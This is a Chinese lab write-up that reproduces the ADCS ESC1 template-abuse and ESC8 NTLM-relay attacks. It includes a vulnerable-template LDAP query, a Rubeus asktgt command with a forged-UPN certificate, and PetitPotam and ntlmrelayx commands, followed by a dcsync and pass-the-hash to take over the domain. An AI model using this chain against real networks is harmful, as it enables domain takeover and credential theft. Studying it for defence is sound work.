专栏首页鸿鹄实验室ADCS系列之ESC1、ESC8复现

ADCS系列之ESC1、ESC8复现

对原理感兴趣的可以去

https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf

看原文,这里只记录复现过程

ADCS漏洞--ESC1

在ADCS中,错误配置会导致普通域用户到域管理员的提权。主要体现在证书模板这里,在证书模板中,我们可以设置应用程序的策略。

我们比较关心的如下:

Client Authentication (OID 1.3.6.1.5.5.7.3.2)
PKINIT Client Authentication (1.3.6.1.5.2.3.4)
Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2)
Any Purpose (OID 2.5.29.37.0)

这些可以使得我们拥有请求票据的功能,然后就是SAN的模拟,SAN允许我们使用UPN来指定用户,来达到用户模拟的目的。

其LDAP查询语句如下:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextend edkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4) (pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))

使用其发布的测试工具,PSPKIAudit测试显示存在ESC1漏洞。

攻击步骤

首先申请一张证书,并将upn名称改成域管

然后导出证书

用密码导出

然后使用rubeus攻击。

Rubeus.exe asktgt /user:administrator /certificate:3.pfx /password:123456 /ptt
  • /user:模拟的账户
  • /certificate:申请的证书
  • /password:证书密码

成功获取域控权限

ADCS漏洞--ESC8

也就是你们说的adcs relay。

ESC8是一个http的ntlm relay,原因在于ADCS的认证中支持ntlm认证,再具体的自己看白皮书。

默认即存在

下面开始攻击复现,首先我们需要搭建一个辅助域控

勾选域服务

安装即可,同理设置为域控

选择添加到现有域

选择从主域复制

重启后测试

下面即可开始攻击。

python3 Petitpotam.py -u '' -d '' -p '' "ntlmrelay address" "DC02 address"
ntlmrelayx.py -t http://adcs/certsrv/certfnsh.asp -smb2support --adcs --template 'DCTest'

获取到证书

然后使用证书请求DC02$的票据

获取票据成功

mimikatz进行dcsync

然后进行pth攻击,获取主域控权限

出现错误的话可以参考:

https://github.com/SecureAuthCorp/impacket/pull/1101

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-07-30

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 下一代数据中心需要应用程序交付控制器(ADC)的新特性

    一项研究显示,在下一代数据中心中,更多的被需要的是应用程序交付控制器(ADC)的特性和功能。在数据中心方面仍然缺乏可扩展性和编制框架的可集成性。 下一代数据中心...

    SDNLAB
  • ADCS之中继攻击

    本篇文章我们主要介绍AD CS攻击系列中的中继攻击的基本原理和攻击手法进行简单阐述~

    Al1ex
  • MDK C++中对内联的极度优化

    先来看看我们SmartIRQ的具体实现 // 智能IRQ,初始化时备份,销毁时还原 class SmartIRQ { public: force_inl...

    大石头
  • 相关和无单元大规模MIMO中的最佳每天线ADC位分配(CS)

    在大规模MIMO基站(BS)中,硬件设计需要在高频谱效率(SE)和低复杂度之间取得平衡。硬件缺陷(HWI)的级别指示由硬件缺陷引入的信号失真有多强。其中特别的是...

    Alfred_Yip
  • 低频脑电连通性的改变可作为轻度认知障碍临床进展的指标

    轻度认知障碍(MCI)与阿尔兹海默症(AD)的临床发展有关,但不是所有的MCI患者都会转变成AD。因此,区分哪些MCI是发展性的(pMCI),而哪些又是稳定性的...

    用户1279583
  • 声纹识别技术助力远程身份认证

    用户1737318
  • Android后台杀死系列之二:ActivityManagerService与App现场恢复机制

    本篇是Android后台杀死系列的第二篇,主要讲解ActivityMangerService是如何恢复被后台杀死的进程的(基于4.3 ),在开篇 Fragmen...

    看书的小蜗牛
  • Kaggle系列-IEEE-CIS Fraud Detection第一名复现

    想象一下,站在杂货店的收银台,身后排着长队,收银员没有那么安静地宣布您的信用卡被拒绝了。在这一刻,你可能没有想到决定你命运的数据科学。 非常尴尬有木有?当然你...

    致Great
  • Elasticsearch 底层系列之分片恢复解析

    我们是基础架构部,腾讯云 CES/CTSDB 产品后台服务的支持团队,我们拥有专业的ES开发运维能力,为大家提供稳定、高性能的服务,欢迎有需求的童鞋接入...

    luckiexie
  • Elasticsearch 底层系列之分片恢复解析

        我们是基础架构部,腾讯云 CES/CTSDB 产品后台服务的支持团队,我们拥有专业的ES开发运维能力,为大家提供稳定、高性能的服务,欢迎有需求的童鞋接入...

    腾讯云时序数据库团队
  • Elasticsearch 底层系列之分片恢复解析

    我们是基础架构部,腾讯云 CES/CTSDB 产品后台服务的支持团队,我们拥有专业的ES开发运维能力,为大家提供稳定、高性能的服务,欢迎有需求的童鞋接入,同时也...

    老生姜
  • SD-WAN如何重新配置企业服务

    当软件定义的广域网(SD-WAN)从初创市场的早期酝酿到当前的向主流演进之后,人们还继续质疑这一重大的技术改变,我认为这是错的。SD-WAN有可能改变企业网络和...

    SDNLAB
  • ADG单实例系列搭建之(RMAN备份恢复)

    参考文章:Data Guard Physical Standby Setup in Oracle Database 11g Release 2

    Lucifer三思而后行
  • 【SpringBoot2.0系列09】SpringBoot之rabbitmq使用实现

    RabbitMQ是由Erlang语言编写的实现了高级消息队列协议(AMQP)的开源消息代理软件(也可称为 面向消息的中间件)。支持Windows、Linux/U...

    yukong
  • ES6 系列之私有变量的实现

    在阅读 《ECMAScript 6 入门》的时候,零散的看到有私有变量的实现,所以在此总结一篇。

    腾讯NEXT学位
  • 数据结构与算法系列之时间复杂度

    上一篇《数据结构和算法》中我介绍了数据结构的基本概念,也介绍了数据结构一般可以分为逻辑结构和物理结构。逻辑结构分为集合结构、线性结构、树形结构和图形结构。物理结...

    VV木公子
  • ECShop全系列版本远程代码执行漏洞复现

    问题发生在user.php的display函数,模版变量可控,导致注入,配合注入可达到远程代码执行

    伍尚国
  • Web API系列之三 基本功能实现

    Web API系列之二讲解了如何搭建一个WebApi的基架,本文主要在其基础之上实现基本的功能.下面开始逐步操作: 一、配置WebApi的路由-用于配置外部如何...

    郑小超.
  • .net core实践系列之SSO-跨域实现

    接着上篇的《.net core实践系列之SSO-同域实现》,这次来聊聊SSO跨域的实现方式。这次虽说是.net core实践,但是核心点使用jquery居多。

    陈珙

扫码关注云+社区

领取腾讯云代金券